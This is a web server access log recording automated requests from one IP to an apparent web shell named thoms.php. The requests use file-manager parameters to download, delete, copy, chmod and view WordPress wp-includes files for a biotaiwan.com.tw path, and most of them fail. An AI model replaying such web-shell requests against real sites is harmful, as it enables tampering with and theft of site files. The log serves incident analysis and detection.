45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /thoms.php?dl=class-wp-icon-collections-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-icon-collections-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed-atom.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /thoms.php?chmod=Requests&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=Requests&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /thoms.php?del=class-wp-http.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /thoms.php?dl=class-wp-metadata-lazyloader.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?del=error-protection.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=error-protection.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?del=post-formats.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-formats.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?dl=post-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /biotaiwan.com.tw/wp-includes/cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?chmod=block-i18n.json&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?dl=bookmark-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?del=class-wp-http-cookie.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-icons-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-icons-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?chmod=class-wp-post-type.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-image-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-textdomain-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?chmod=class-wp-xmlrpc-server.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-xmlrpc-server.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2FSimplePie HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?del=error_log&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=error_log&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?chmod=feed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?del=feed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /biotaiwan.com.tw/wp-includes/style-engine.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:56 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fscript-modules.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fscript-modules.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?chmod=template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=vars.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=vars.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=abilities-api.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=abilities-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?dl=category-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=category-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?chmod=media-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /biotaiwan.com.tw/wp-includes/registration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-bindings-source.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fassets&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?del=class-wp-customize-panel.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-panel.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /biotaiwan.com.tw/wp-includes/certificates/ HTTP/1.1" 200 794 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?del=class-wp-image-editor-imagick.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-imagick.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:57 -0400] "GET /thoms.php?del=class-wp-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fcustomize HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcategory-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcategory-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-snoopy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?dl=class-walker-page.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-patterns-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?del=class-wp-icon-collections-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-icon-collections-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?chmod=functions.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?dl=class-wp-feed-cache.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?chmod=class-wp-icons-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icons-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?del=class-wp-rewrite.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-rewrite.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?dl=nav-menu-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fscript-loader.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fscript-loader.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?chmod=class-wp-connector-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-connector-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?chmod=ms-blogs.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /biotaiwan.com.tw/wp-includes/wp-db.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?del=post.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /biotaiwan.com.tw/wp-includes/images/ HTTP/1.1" 200 1902 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:58 -0400] "GET /thoms.php?dl=rss-functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?chmod=class-wp-block.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?del=class-wp-user.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
